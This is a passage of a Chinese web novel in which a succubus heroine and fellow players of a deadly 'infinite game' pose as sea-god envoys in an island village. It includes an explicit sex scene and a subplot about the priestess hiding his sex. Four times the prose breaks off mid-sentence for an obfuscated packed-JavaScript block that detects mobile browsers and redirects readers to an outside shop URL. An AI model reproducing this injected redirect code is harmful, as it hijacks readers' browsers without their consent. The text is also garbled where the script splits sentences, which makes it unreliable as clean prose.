“我之前遇到过一个新人,是个散打教练。也不知道是不是吓疯了,冲上去和吸血鬼自由搏击,死得那叫一个惨……” “多虑了。” 眼镜男玩家一脸“大可不必担忧这种事”的表情。 “我一个牛马社畜,那位大姐年纪也不小了,还有那两位原地可以出道的小情侣,请问我们谁看起来是能打的?” “兄弟,你这挺不客气的。” 程澎封大笑出声,说了一句: “等下渴了告诉哥,千万别舔嘴。这上下嘴唇子一吧嗒,我都怕你把自己毒死。” 池隨冬看了一眼披着自己风衣的宁汐柔,又看了一眼和眼镜男玩家已经开始聊起来的程澎封,眨了眨眼睛,面无表情的脸上浮现出一丝名为犹豫的情绪。 “你想说什么?” 宁汐柔问。 “他,他说我们是情侣。” 池隨冬声音清冷,宁汐柔却看见他耳根一点点红晕泛起。 “不是的。” “他误会了吧。你想解释?” 宁汐柔笑了下。 “……感觉这时候解释这个,有点奇怪。但是不解释,又好像也奇怪。” 池隨冬想了想,看向宁汐柔,他耳边的那一点碎发又滑落下来。 “那就不用解释了。让他们以为我们关系亲密,也不是坏事。” 宁汐柔披着风衣,抬起手将他那缕头发再次别到耳后,神色轻快: “我一个人在这个副本里,也有点害怕,有你这样一个‘男朋友’在,他们也不敢随便欺负我了。” “……哦,也是。” 池隨冬像是反应了好一会儿,慢吞吞地点头。 他站在那里,就像是一尊玉做的雕像,高洁清冷,华美无暇。 宁汐柔顺势靠在他身上,闭上眼睛,将自己被海水浸泡过冰冷的手塞进他手里。 然后,看着这座玉像从耳根红到了脖子。 “你,你干嘛……” 池隨冬小声问,又不敢推开他。 “我手冷。” 宁汐柔闭着眼,懒洋洋地回答。 “……轻浮。” 池隨冬小声说了一句,低下头,双手将她的手握在了自己手心里,安静地给她暖着。 “好了好了那边两位,” 程澎封和眼镜男玩家侃了两句大山,转头看见这两位大美人互相暖手的场面,一时间牙都酸了,赶紧把话题拽回来。 “咱们继续往下讲啊。” 外来者类型的身份卡,好处和坏事都和原住民身份卡正好相反。 这类型的身份卡非常简单,没有前情背景也和副本中的人事没有关联,可以说就是系统给玩家安了个来由,就把他们扔到了副本里。 不需要猜身份蒙背景,连名字都还是自己的。 好处就是不用蒙在鼓里猜人设,不用演剧本杀,更不用怕莫名其妙就OOC了,没有突然被绑起来当做鬼上身驱魔的风险。 坏处同样一目了然,一个陌生的外来者,想要探索故事,收集信息,寻找线索,当然不可能比副本“自己人”来得更轻松方便。 宁汐柔能理解这个逻辑。 就拿她自己的新人副本来举例。 年蓁蓁作为普通玩家,在她的原住民类型身份卡中,她是“教廷见习修女兼领主继承人德洛丽丝好友,伊迪丝”。她的主线任务是“参加领主的婚礼”。 这个身份,去参加领主的婚礼,是顺理成章,没有任何问题的。 对于年蓁蓁来说,想要通关这个副本,最大的困难并不是“参加婚礼”,而是“扮演伊迪丝”。 伊迪丝是一个副本中已经被设置好的原住民角色,她有性格,有身份和过去。 她是长老会议员的女儿,是一个小贵族家的小姐,她在教廷当见习修女,她是一个性格坚毅有主见的人,她是领主继承人的青梅好友。 作为没有拿到剧本的新人玩家年蓁蓁,如何收集到以上信息,又在这个过程中不让其他NPC发现她不是“伊迪丝”这件事。 这才是新人副本为她设置的关卡。 但如果年蓁蓁拿到的身份卡,是一个最近来到德伦郡的旅人。 当然没有人会怀疑她的身份不可信,或者觉得她突然之间行为失常被鬼上身。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14464474|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可是她如何作为一个陌生的外来旅行者,去参加领主的婚礼? 不同的身份卡,对应着不同的通关难点。 “行了,说了这么多,你们身份卡也都该出来了吧?我估计咱们应该差不多。” 程澎封说。 “我看看啊,我的身份卡是‘游艇事故落水者’,你们呢?” “我也是。” 池隨冬点头。 芹秀兰和眼镜男玩家也点头,宁汐柔没出声,像是默认了。 “常规故事本里,咱们玩家身份卡的主线任务都是一致的,都是‘成功参加海神村三日后的祭典’。” 程澎封作为唯一的老玩家,自然而然担任了几人中领导者的位置。 “咱们现在第一步,就是得先找到海神村在哪里,最好能和他们打好关系,让他们给咱们安排个住宿啥的。” 说到这里,程澎封拍了拍胸脯: “放心吧,这件档子事程哥熟得很!” 成功参加海神村三日后的祭典。 这个主线任务说不上多难,毕竟只是参加祭典而已,也没有要求玩家担任什么很重要的位置或者职能,哪怕是混进祭典游行的队伍中晃一圈,估计也能算作完成任务。 但它也绝不简单。 一群不知来处的陌生人,在祭典即将举行的三天前突然出现,要参加海神村最重要的宗教活动。 除非海神村是个非常热情好客的地方,但这个可能性又有多大? “天要黑了,会变冷。” 池隨冬开口。 “现在是夏天啊,我们衣服也都干了,还好吧?” 眼镜男玩家有点疑惑。 “诶,这位小兄弟说得对,天黑之后海边太冷了,咱们可不能生病。” 程澎封接过话头,笑呵呵的。 “我身上带着指南针,咱们先往岛里面走走看。” “程哥,晚上进树林?” 眼镜男玩家小声问。 “你打什么岔,人家是看女朋友冷了,你这啥眼力见儿。” 程澎封笑骂了男玩家一句,又和他说: “咱们时间紧,早点找到村子最好。晚上村子会点火做饭,更好辨认方向。” “可能,不用找了。” 一直沉默着的芹秀兰终于开口说了一句话。 “嗯?” 程澎封抬头一看,倒吸了一口凉气。 暮色渐沉,在他们不远处的海滩上,有十几个人举着火把和锄头站着。 十几双眼睛齐齐盯着他们,连呼吸的声音都整齐划一。 像树丛,像矩阵,就是不像人。 “巫女大人!这里有外来者!” 领头的男人穿着一身黑褂子,大声吼道。 他向后退了半步,侧过身,恭敬地弯下腰去。 “外来者?” 一个年轻的女声响起,随之而来的,是鞋子踩在柔软沙子上的声音。 那是一个年轻女人,五官秀美柔和,黑发散落在肩膀,敛着眉眼,神色漠然。 宁汐柔认得她,或者说,十年后的她。 侍女海陵, 不,现在或许该称呼她为, 巫女海陵。 33. 海村往事(7) “外来者,这里是海神村的土地,我们不欢迎外人,请回到你们的来处去吧。” 海陵神色冷漠,看向宁汐柔几人。 “我们几个是意外落水,是被海浪冲到这里来的,即使想要回去,也回不去了。” 程澎封自然而然地担任了玩家的发言人。 他笑着说,神情憨厚真诚,看上去有点为难的样子。 守在外围的人群中传来小声的议论。 “被海浪冲过来的?” “这不就和传说中的一样?” “可他们是外人啊!” “但是那是海浪啊!是海神大人的眷属!” 小声的议论很快变成争论,村民中开始出现了不同的观点。 这声音自然避不过海陵的耳朵,她转过身看去。 明明一言不发,但当她的视线投注时,所有的村民都默契地噤声。 “你说,你们是被海浪送到这里来的?” 等村民中的声音平息后,海陵才回过头来,看向程澎封。 “对对,就是海浪送我们过来的!” 程澎封眼睛一亮,高声说: “这说不定就是大海伸出援手了呢!是海神的旨意!” 眼镜男玩家站在程澎封后面,有点疑惑地小声说: “怎么突然开始说什么海神不海神的了?” “海神村。” 池隨冬开口说。 宁汐柔看了他一眼,眼中带了点笑。 该说不愧是后来的玩家榜第一名吗? 即使只是个新人,没有任何副本经验,却很快适应了无限游戏的节奏,甚至有了基础的游戏思维。 他们的确是在海浪的裹挟中来到了一个陌生的岛屿,在这一点上,所有的新人玩家站在同一条起跑线。 玩家们得到的信息也是一致的:肉眼可以观察到的周围环境,程澎封对无限游戏的介绍,理论上所有人都大差不差的系统提示,以及刚才海陵说的那句话: “这里是海神村的土地。” 但眼镜男还在一头雾水的时候,池隨冬已将抓住了这个副本中最重要的三个字: 海神村。 一个地方的名字往往意味着这片区域文化中最重要的元素。 赵家村、王家村这种名字,背后隐藏着的是村子中村民亲密的姻亲和亲属关系,以及这种关系所构建成的宗族文化; 孤三沟、土口乡这种名字,彰显出来的是村子的地势地理基础,甚至侧面体现了村子教育文化水平,毕竟一个文化发展程度高的区域,是不会一直叫土口乡的。 诸如此类的例子还有很多。 海神村这个名字,没有体现宗族文化,没有彰显地势地理,它只在强调一件事: 信仰崇拜。 这个名字,证明了在这个村落中,对于海神的信仰崇拜大于其他所有思想。 刚才村子里人的态度,很明显已经证明了他们不是那种热情好客的村落。 但为了完成主线任务,玩家一行人势必要留在海神村,还要尽可能获得他们的友好,这样才能以客人的身份顺利参加三日后的祭司。 这个时候,用什么方法最好? 他们是被海浪冲上岸的,勉强也能算得上是海难的幸存者。 结合一下这个村子中极大概率非常重要的海神信仰文化,这不是现成的大旗可以扯? 程澎封很快想明白了这件事。 所以他马上开始强调玩家几个人“被海浪冲上岛”这件事,扯出“海神旨意”这样的大旗。 他甚至不着痕迹地在自己第二次表述中,把“冲”换成了“送”。 这个改动显然非常有效。 “送”是对海浪的拟人化,更在玩家上岛这个客观事实中增添了几分非自然色彩,目的是迎合海神村的信仰氛围。 结合后面,村民在议论中提到了“海浪是海神的眷属”这件事来看,程澎封这一番改动还真的和海神村中的信仰合上了。 这个玩家,很聪明。 宁汐柔看着程澎封憨厚的笑容,在心里下了判断。 “海神村,海神村怎么了?” 眼镜男一脸茫然,抱住脑袋: “你们这些聪明人能不能直接告诉我怎么做就行,本牛马的脑细胞已经在凌晨加班中随着我的头发和青春一起埋葬了。” “闭嘴。” 池隨冬平静地下达了行动指令。 天渐渐黑了。 宁汐柔这一天失明后复明,眼珠子现在还在隐隐作痛,还经历了一场时空穿越,此刻的确是有些疲惫。 她不想再站在原地等着程澎封忽悠他们了。 “海陵。” 她开口说。 随着她的声音,整个海滩上陷入了一片沉默。 诡异的,连呼吸声都没有的沉默。 “你叫我?你……知道我的名字?” 在沉默中,海陵看向宁汐柔。 宁汐柔没有见过十年后的她,只记得那是一个很温柔的声音,一双很温暖的手。 此刻宁汐柔站在她面前,发现她其实也有着一张很美丽的面孔。 五官秀美,但又带着一股飒爽英气,鸦羽一样的睫毛遮住上半个瞳孔,眉眼低垂着,投出一小片阴影。 她几乎没有表情,面上是纯粹的漠然,冷酷而圣洁,黑发披散,在海边暮色的中泛出带着光泽的蓝紫色。 尽管穿着层层叠叠的长裙,她依然身量纤细高挑。乍一眼,她的性别特征并不明显,站在那里,有种雌雄莫辨的气质。 “海浪告诉了我你的名字。” 宁汐柔说。 海陵抬起头,眼中第一次浮现明显的情绪。 她快步走向宁汐柔,那一瞬间甚至像是个无措的孩童一般,小心翼翼地确认。 “海浪……向您诉说了我的名字吗?” 她轻声重复道。 “是的。这是一个很好的名字。” 宁汐柔说。 她瞎说的,她才不在乎海陵到底是不是一个好名字。 但她手握着十年后的信息差,她认识海陵,知道这个名字。 程澎封既然埋下了种子,宁汐柔不介意帮助它发芽。 神秘的陌生人,被海浪送上了岸。 偏偏这个地方是极度崇拜海神的海神村,偏偏海神村坚信海浪是海神的眷属。 又刚刚好的,这些陌生人中,有一个人知道在海神村中至高无上的巫女的名字。 天时地利人和,这么适合装神棍的时候,再不装一下,都说不过去了。 “您、您就是海神——海神的使者!” 海陵说道。 她眼睛浮现出一圈淡淡的红晕。 真是虔诚的信仰,连见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14472343|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到海神的使者都能这么热泪盈眶。 宁汐柔心想。 “天快黑了,我和我的同伴们,都需要休息。” 宁汐柔微笑着说: “可以麻烦你吗?” “当然!” 海陵点头,抬手按住自己的胸口,似乎在平复呼吸。 “我作为海神大人的仆人,为大人做什么都是应该的。” “那些人,都是海神的使者。” 海陵转身对着村民们说着,她又恢复了那副冷漠的模样。 “我们作为海神大人的仆人,应当好好招待他们。” “不错啊小妹,你这名字的操作,可是神来一手!” 程澎封不知道什么时候退回到了宁汐柔身边,抬手想要拍拍她的肩膀。 然而,池隨冬默默抬手挡住了他的动作。 “哎,小伙子,你们谈恋爱,也不能不让女朋友和人正常交流啊。” 在池隨冬的眼神下,程澎封收回了手,只是对着她比了个大拇指。 他依然是笑呵呵的模样,说话却意有所指: “谈恋爱呀,不能把对方当做自己的所属物,不然最后,很容易离心的。” 说完之后,他转过身去,又去一脸和善地和村民搭话了。 大概是披上了“海神使者”这个身份,村民们对他的态度瞬间大转弯,毕恭毕敬,满是崇拜。 估计他会有不少收获。 “……我没有。” 宁汐柔看着程澎封的背影,听见池隨冬说。 虽然那个清冷疏淡的音色,但不知怎的,她竟然听出来一点委屈。 “我知道,没关系。” 宁汐柔笑了下,并没在意。 “他是老玩家,你想和他打好关系吗?” 池隨冬沉默半响,又问。 “和他?不需要。” 宁汐柔摇头,也看向程澎封的身影,唇角带着笑: “只要你足够有价值,他就一定不会和你‘关系差’的。” 在海陵的带领下,宁汐柔一行人来到了神观。 十年前的神观和十年后,在结构上似乎没什么区别,宁汐柔第一次用自己的肉眼看到了这座建筑。 以它所处的地理位置来看,它算得上一个建筑杰作。 “神观中房间不多,几位使者需要分开居住。” 海陵说着,指着耳房: “芹使者住在西耳房,三位男使者住在东耳房,里面的东西已经收拾出来了,还望您不要嫌弃。” “不嫌弃不嫌弃,多谢巫女了!” 程澎封笑着点头。 “那,她呢?” 池隨冬问的是宁汐柔住在哪里。 “这位大人,居住在西厢房。” 海陵看向宁汐柔,缓缓说道。 西厢房,那是巫女的房间,现在应该是海陵在居住。 看起来,是因为宁汐柔说出了海陵的名字,所以得到了特殊照顾。 可能在海陵看来,她是这群使者中,格外有“神力”的吧。 “他和我住在一起。” 宁汐柔指了指池隨冬。 池隨冬看着她,眨眼的频率明显加快了。 但他没有提出异议。 “……好的。” 海陵也深深看了池隨冬一眼,随即再次垂下眼,低声应了。 34. 海村往事(8) “你睡,我守着。” 进了房间,池隨冬站在离床足有三米远的地方,对宁汐柔说。 “会安全的。” 他像是强调一样,看着宁汐柔的眼睛。 宁汐柔实在是有点好奇,他现在这么个看上去清冷实则有点天然的性格,是怎么变成十年后她见到的那个“傀儡师”的? “那你今天不睡觉?” 宁汐柔问。 “明天起来会没有精力吧?” “我守夜,你早点起床,和我换班。” 池隨冬很诚实地摇头。 他倒是还挺会安排。 “不行诶,我今天都这么累了,连饭都没吃上,你现在还要我睡也睡不饱,我明天太累了怎么办?” 宁汐柔笑了。 “嗯,好吧……” 池隨冬想了想,似乎也觉得她说得有道理。 “那怎么办?” “床这么大,一起用啊。” 宁汐柔拍了拍蓬松柔软的枕头,闻到一阵草药香料混合在一起的清新味道,和海陵身上的味道很像。 “……你说话,好轻浮。” 池隨冬定定看着她,半响后,小声说。 “不可以吗?” 宁汐柔问。 “可以,但是,你戏弄我。” 池隨冬垂下眼。 他实在是长了太美的一张脸。 分明只是垂眸,却犹如青竹独立霜雪,傲然高洁中又带着一股子让人我见犹怜的破碎美丽。 宁汐柔单单看着,都觉得赏心悦目。 魅魔以生灵的欲执为食。 越是疯狂、极致、爆裂的情感,越是美味无比。 平心而论,在这方面,池隨冬算不上很优秀的食物。 随着视力的回归,宁汐柔再一次能够看见其他生灵欲望的颜色。 程澎封和眼镜男,或者说绝大部分的无限玩家身上,最强烈的欲望都是求生欲。 这很合理,生物的第一本能是生存,对于一般人类来说,几乎没有比求生欲更强烈的欲望了。 芹秀兰就比他们有点意思,她身上最强烈的不是欲望,而是执念。 相比于颜色清晰、容易分辨的欲望,执念在魅魔的眼中,往往是朦胧而模糊的,颜色和轮廓都不明显。 人的执念通常是隐于自身的,只有在接触到相关的东西是,那才会在剧烈起伏的情感翻涌中流露出一点碎片。 池隨冬,是这几个人中最有意思的。 他没有欲望,也没有执念,连最基本的求生欲都淡薄近似于无。 在宁汐柔的眼中,他周身的气息格外“清爽”。 这个犹如寒冬翠竹般高洁清冷的人,连内在也和竹子一样,外表挺拔华美,内在中空虚无。 这让宁汐柔觉得新奇,也不禁开始好奇,青竹燃起的火焰,会是何等的光彩,亦或是如何的寡淡。 “你不喜欢?” 宁汐柔笑着问他。 “……我不知道。” 池隨冬摇摇头,他脸上的神色有些迷茫。 “我看到你,就觉得很奇怪。” “哪里奇怪?我奇怪吗?” 宁汐柔又问。 “你不奇怪。你说的话,做的事,别人也对我做过,你们想…勾搭我。人对好看的人都会这样,我知道我很好看,所以,不奇怪。” 池隨冬犹豫了一下,似乎不太确定该用哪个词。 “但是,我很奇怪。” “哦?” 宁汐柔等着他继续往下说。 猎食者对于凑到嘴边试探的食物,往往有着十足的耐心。 “我不会想要给别人披衣服,不会让别人碰到我的头发,也不会握别人的手。” 池隨冬说: “我不喜欢那样。” “但是,和我不一样?” 宁汐柔下床,慢悠悠地走向他。 “嗯,不一样。被海浪冲上来,大家会冷,但是我不希望你冷;你碰我的头发,我不觉得脏‘你的手冷的时候,我想握着它。” 池隨冬看着宁汐柔的眼睛,神色真诚地像个好奇的学生: “书上说,喜欢一个人时候才会这样,我是喜欢你吗?” “喜欢?” 宁汐柔的手搭上池隨冬的肩膀。 意外的,手感和想象中不同,看上去冷淡瘦削的人,其实有着一具暗藏着爆发力的身体,肌肉安静潜藏在衬衫之下,随着她指尖的游走,微微收紧。 “唔,谈不上喜欢吧,你只是对我心动了。” 她的声音里带着一点悠闲惬意,指尖勾住他衬衫的第一课扣子,眨了眨眼睛: “可以吗?” “那为什么我不对别人心动,只对你心动。” 池隨冬扣住她的手腕,很认真地问。 “这个问题可真有意思。” 宁汐柔的动作停顿了一瞬,笑着摇头, “我也不知道答案呢。人类是比想象中简单,也比想象中复杂太多的生物,分析感情产生的原因,不在我的兴趣范围内。” “那你的兴趣是什么?” 池隨冬问。 “啊,我的兴趣啊……我教教你,怎么样?” 她笑着说,抬起头,唇瓣附在他耳边,吐字时呼出的空气带着热意,落在他最敏感的肌肤上: “抱我。” 指尖灵巧地解开扣子,她掌心的温度略低于一般人类,在他心脏的位置停留。 随着心脏跳动时的起伏描摹,逐渐向下,以触感代替视觉,勾勒描绘。 和她的想象一致,如青竹一般。 散乱的黑发落在描绘着神秘纹样的布料上,池隨冬被推倒在床上,她扬起脖颈,不自觉伸出手去拉她。 他第一次体会到了渴望的味道。 此时此刻,他渴望那双微凉的手能抚慰身体里燃烧起来的火焰。 宁汐柔跨坐在他腰上。 她居高临下地看着他,眼神中不带任何可以被称之为“感情”的东西。 在炙热的火焰中,池隨冬又感到一阵刺骨的冷。 他在这寒冷中颤栗。 “池、隨、冬。” 宁汐柔说着他的名字,仿佛每一个都在舌尖被把玩片刻之后,才缓缓落在他身上。 “果然很漂亮,脸也是,哪里都是。” 池隨冬不自觉地去蹭她,不得章法。 她的膝盖轻轻碰了碰他已经烧红起来的脸颊,像主人安抚焦急的小狗。 “好奇怪……” 池隨冬喃喃着,伸出手也去解衬衫的扣子。 可同样的动作,怎么宁汐柔行云流水,他却好像手指头不好使了一样,怎么也找不到那个小小的纽扣在那里。 “不对,放错地方了。” 宁汐柔笑着握住他的手腕,低下头去咬他的鼻尖。 “在这里。” 他终于找到了那枚小小的,不听话的纽扣。 衬衫落在地上,他仰起头,这次不需要任何人教授正确的位置,他无师自通地偷来了一个吻。 鼻尖和耳朵滑过宁汐柔心脏的位置,他听不见她的心跳声。 但已经被火焰燃烧占据的大脑无瑕思考这些,他终于解开了那颗纽扣,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14475570|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在想要更多那颗纽扣背后的风景。 “唔……” 喉结一紧,他抱住她,好像整个人躺在她怀中,起伏的身躯重叠在一起,他试图用自己跳动的心脏去倾诉那些甜蜜胀痛的,他无法理解的感情。 是心动吗? 是喜欢吗? 是……爱吗? 池隨冬不知道这些问题的答案,他有种预感,宁汐柔或许也无法给他这些答案。 但他又相信, 在她身边,他能找到他想要的答案。 “宁、汐、柔。” 和其他的速度不同,他缓慢地念着她的名字。 一字一句,仿佛刻痕。 一切平息后,已是深夜了。 宁汐柔懒得挪动,干脆将池隨冬当做了枕头。 她心情不错。 池隨冬其人,欲执浅淡几近于无,对于魅魔来说实在算不上很好的食物。 所以,宁汐柔觉得,自己对于他的食欲,很大一部分取决于,她曾经在人类社会生活了太多年,而不自觉被同化的审美观。 就像人类会为了好看的食物打卡味道糟糕的网红餐厅, 宁汐柔偶尔也不介意为了漂亮的皮囊吃一点寡淡无味的欲望。 但是这场进食,最后的结果比她想象中要丰盛美味得多。 青竹不仅看起来华美挺拔,制品使用起来也很有一种,独特的鲜甜香。 “做礼物的第一个拆封人总是很有意思。” 当初在人类社会中,宁汐柔也更喜欢没有经验的食物。 她喜欢白纸一点点浸染上欲望颜色的样子,更喜欢自己亲手主导这个过程。 结果当然往往是让人喜欢的,但最重要的是调教的过程。 “客制化”的快乐。 她喜欢这样形容。 “……轻浮。” 池隨冬当然听懂了她的意思。 他小声说了一句,耳朵和脸颊一起红了。 “你要洗澡吗?” 他问。 “我出去问那个巫女。” “说起来,你不觉得那个巫女很有意思吗?” 宁汐柔突然说。 “……现在说这些,有点奇怪吧。” 池隨冬沉默半响,说道。 “其实我一开始就怀疑了,但是那个时候没法确定。” 宁汐柔笑了一声,转过身碰了碰他的鼻尖,算是安抚。 “你注意看她的手了吗?” 她问。 “没有。” 池隨冬摇头, “我看别人的手干什么。” “他一直很注意掩饰,但可能是巫女服装的限制,他没办法戴手套,所以总有避不开的时候。” 宁汐柔说。 在一开始进入副本的时候,宁汐柔失去了视觉,她只能用触觉第一个接触到的人,就是海陵。 海陵的手。 那是一双掌心微凉,但很有力量的手。 让她想起离秽的手,同样的有力,坚定。 但这种力量,似乎又不太一样。 直到拿回视力之后,再见到海陵,宁汐柔才知道,到底是哪里不对劲。 是手骨。 女性和男性的手,同样有力的情况下,骨节的形状,骨骼的走势,都会有着细微的差别。 这种差别很微小,如果不是有心人特意观察,通过手势、锻炼,很容易遮掩过去。 但宁汐柔观察了。 “你不觉得有意思吗?海村唯一的巫女大人,为什么长了一双男人的手?” 宁汐柔笑盈盈地问。 35. 海村往事(9) “他是男的?我没看出来。是怎么……” 池隨冬的眼睛微微睁大。显然是有些惊讶。 “他是怎么伪装的不重要。” 宁汐柔点了点池隨冬的鼻尖,笑: “他为什么要这样伪装,才是对我们有意义的问题。” 一般来说,宁汐柔并不是一个热衷于教学或者解答问题的人。 她没那么热心,更不在意旁人的死活。 在无限游戏中,宁汐柔唯一愿意带带的人只有年蓁蓁。 这并不出自什么感情,而是因为年蓁蓁接连触发隐藏任务、支线任务,证明了自己的价值。 但池隨冬不一样。 美人做什么都是赏心悦目的,尤其是他低敛着眉眼,唇角抿起,安静沉思的时候。 就如同清风微拂过青竹遍野,细雨朦胧中竹叶摇曳,一点朝露晶莹,勾得人掌心发痒。 宁汐柔从不吝啬自己对于美的欣赏和喜爱。 她是个口味多元,审美包容的收藏家,热衷于收集不同类型的美丽,以及各色各异的执念欲求。 同理,宁汐柔其实也不根本在意池隨冬能不能从她身上学到什么,这些东西能不能在未来帮助他。 她只是喜欢看池隨冬思考的漂亮样子。 至于他是找到正确答案,还是把自己带进沟里…… 她为什么要操心未来玩家榜的第一名? “掩盖性别不是一件容易的事情,尤其是在人际交往密切的村子里。” 池隨冬说。 “被发现了,他会很麻烦。” “但即使麻烦,也要这么做。” 宁汐柔说: “因为没有选择。” “为什么会没有选择?” 池隨冬问。 “这个就留给你当作业吧,我困了。” 宁汐柔靠在他的胸口,闻着池隨冬身上的淡淡青竹香气,懒洋洋地说着。人类肌肤的温度比任何发热枕头都好用,她合上眼,睡着了。 “……哦。” 池隨冬眨眨眼睛,脸上没有一点睡意,显然被刚才的话题激发了精神。 但他什么也没说,默默给宁汐柔盖上了被子。 柔软的棉被落在她不着片缕的肩膀上,池隨冬的指尖感受到她微凉的温度。 他沉默着拥她入怀。 翌日,宁汐柔在晨光中醒来,视线朦胧中,看见池隨冬站在床边洗漱。 他只穿了裤子,阳光自他身后倾泻而出,自肩颈流畅优雅的线条,到渐渐隐在布料中的人鱼线,勾勒出无一处不完美的躯体。 宁汐柔起身靠在床边,静静赏玩眼前这副晨景美人图。 她不知道这是早上美好的缘分所致,还是某人暗自排练了许多遍的恰到好处。 不过当然,一如既往的,她不在意。 “早安。” 她声音里带着笑意。 昨天吃饱喝足之后又进行了颇有趣味的饭后运动,宁汐柔的睡眠质量相当不错,心情也十分惬意。 “先洗漱。水打好了。” 池隨冬将一盆新水放在了洗脸台上,对宁汐柔说。 进入副本的第二天是获取信息的关键期,宁汐柔动作利落地下床。 她床头边上放着一条裙子,深蓝色,裙长大概过膝,无袖,上面绣着白色海浪花纹。 算不上好看,但比她在海水里泡过的衣服要强上不少。 宁汐柔没有挑剔这些。 裙子内衬的材料说不上来是什么,但是软而滑,很舒服。 人皮? 这个词在一时间宁汐柔脑海中闪过,但又很快被她否决。她在进入这个副本的时候就被披上过一件人皮衣,是不同的触感。 她将这份疑问在心里按下。 走到洗脸台前边,她将手放进水盆里,温度刚好,不冷不热。 宁汐柔的视线转向池隨冬。 “那点精力,全用来观察我了?” 宁汐柔打趣他。 身为魅魔,宁汐柔使用的是用魔力凝结而成的拟态,看上去和一般人类躯体无异,也由血肉骨骼构成,但是她没有血液,胸膛中也没有一颗心脏跳动。 所以,她的体温,会比一般人类要低一些。 大部分时候,人类身体的温度,对她来说是微热的。 人类会觉得水温合适的水,对她来说自然也是温热的。 但池隨冬打来的这盆水,她用着正合适。 “不用观察。” 池隨冬一脸平静,没有邀功的意思,也不像是在描绘旖旎的回味,只是说: “我抱了你一晚上,知道你的体温。” 手臂,肩膀,唇间,还有更深的温度,他都一一吻过,不会忘记。 “有意思。” 宁汐柔听懂了他的话,擦干净脸上的水滴,问他: “昨天晚上给你留的作业,想明白了吗?” “没想明白他为什么要隐藏自己的性别,但是大概猜出来你想做什么了。” 池隨冬先是摇摇头,又点点头。 宁汐柔知道他想不出来海陵为什么要隐藏身份,这和他的智力无关。 他们进入副本只有两天,海陵也只在玩家面前出现过一次,他带来的有效信息不足以支撑下一步的推论。 如果不是宁汐柔恰好在十年前摸过海陵的手,且又是个女人男人各种年龄手型都摸过不少的专业人士,她都未必能发现海陵身上的矛盾之处。 池隨冬不可能知道海陵为何伪装身份,因为缺乏碎片的拼图,是不可能被想象拼凑出来的。 但他的后半句话,又让宁汐柔产生了一点兴趣。 “我们才认识第二天,你就知道我想做什么了?” 宁汐柔将自己擦脸的毛巾扔向他。 “嗯,你要用这个威胁他。” 池隨冬接住毛巾,看着她。 宁汐柔的动作停住了,她眼中浮现出难得的,对于池隨冬美色之外的兴味来。 “哦?” “巫女,这个身份很特殊。在主线任务的祭典里,也一定很重要。” 池隨冬说: “程澎封说过,NPC的帮助,很有用。” 程澎封的确简单讲过这一点。 在他向新人玩家解释无限游戏时,曾经提到过,无限副本中的NPC智能程度非常高,绝不是刻板印象中被程序操控的数据。 这些NPC有着自己的人生故事,性格好恶,喜怒哀乐。 越像人,就越复杂。 玩家和NPC不完全是敌对的,有时候,这些情感丰富的NPC,会反过来成为玩家的助力。 “海陵对我的态度很友好,他将我看做海神的使者,对我礼遇有加,我完全可以用这个身份取信于他,让他帮助我,何必撕破脸威胁?” 宁汐柔反问。 “我不知道,我只是觉得你会这么做。” 池隨冬很诚实地摇头,又问: “你会吗?” 这个人不仅仅观察力敏锐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14488742|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,连直觉也准确得可怕。 聪明,敏锐,相信自己的判断能力,他天生适合这样的游戏。 宁汐柔不禁有些感叹。 尽管多数平庸寡淡,但可能因为数量实在过于庞大。 人类中,偶尔也会冒出一些让她也觉得赞叹的天才。 “……我会呢。” 她扬起一个温柔的笑。 池隨冬看着她的眼睛,似乎想说什么。 刚刚张嘴,房门被叩了几下,门外传来一个年轻温柔的女声,是海陵。 “大人,您起身了吗?” 他问。 虽然房间里有两个“海神使者”,但二人视线一对,便知道海陵在称呼的,必然是宁汐柔。 宁汐柔直接打开房门。 门外,海陵一个人站着,他的视线先是停留在宁汐柔脸颊上,又缓缓垂下,落在她裙子的海浪花纹图样上。 “果然,这件衣服应该由您来穿。” 他的眼中满是喜悦。 